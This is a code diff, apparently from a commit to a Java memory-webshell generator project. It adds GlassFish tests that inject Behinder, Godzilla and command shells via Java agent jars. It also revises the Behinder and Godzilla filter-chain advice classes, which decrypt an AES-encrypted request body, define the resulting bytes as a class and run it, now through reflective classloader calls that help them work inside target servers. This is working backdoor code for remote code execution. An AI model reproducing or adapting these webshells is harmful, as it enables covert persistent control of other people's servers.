.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
|
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -49,7 +51,13 @@ public class GlassFish7ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +70,6 @@ public class GlassFish7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-7
@@ -2,8 +2,6 @@ package com.reajason.javaweb.memshell.shelltool.behinder;
|
|||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
|
||||||
import java.io.BufferedReader;
|
import java.io.BufferedReader;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -48,22 +46,28 @@ public class BehinderFilterChainAdvisor {
|
|||||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||||
obj.put("session", session);
|
obj.put("session", session);
|
||||||
Cipher c = Cipher.getInstance("AES");
|
|
||||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
|
||||||
byte[] data = null;
|
byte[] data = null;
|
||||||
Class<?> base64;
|
Class<?> base64;
|
||||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||||
String parameter = reader.readLine();
|
String parameter = reader.readLine();
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("java.util.Base64");
|
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||||
Object decoder = base64.newInstance();
|
Object decoder = base64.newInstance();
|
||||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
}
|
}
|
||||||
byte[] bytes = c.doFinal(data);
|
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||||
|
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
|
||||||
|
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||||
|
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||||
|
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||||
|
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||||
|
|||||||
+15
-10
@@ -2,8 +2,6 @@ package com.reajason.javaweb.memshell.shelltool.godzilla;
|
|||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -31,18 +29,25 @@ public class GodzillaFilterChainAdvisor {
|
|||||||
byte[] data = null;
|
byte[] data = null;
|
||||||
Class<?> base64;
|
Class<?> base64;
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("java.util.Base64");
|
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
} catch (Exception var6) {
|
} catch (Exception var6) {
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||||
Object decoder = base64.newInstance();
|
Object decoder = base64.newInstance();
|
||||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
}
|
}
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||||
c.init(2, keySpec);
|
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||||
data = c.doFinal(data);
|
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||||
|
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||||
|
|
||||||
|
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||||
|
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
|
||||||
|
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||||
|
|
||||||
|
data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||||
if (sessionPayload == null) {
|
if (sessionPayload == null) {
|
||||||
@@ -60,8 +65,8 @@ public class GodzillaFilterChainAdvisor {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
f.toString();
|
f.toString();
|
||||||
|
|
||||||
c.init(1, keySpec);
|
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
|
||||||
String result = null;
|
String result = null;
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("java.util.Base64");
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
|||||||
Reference in New Issue
Block a user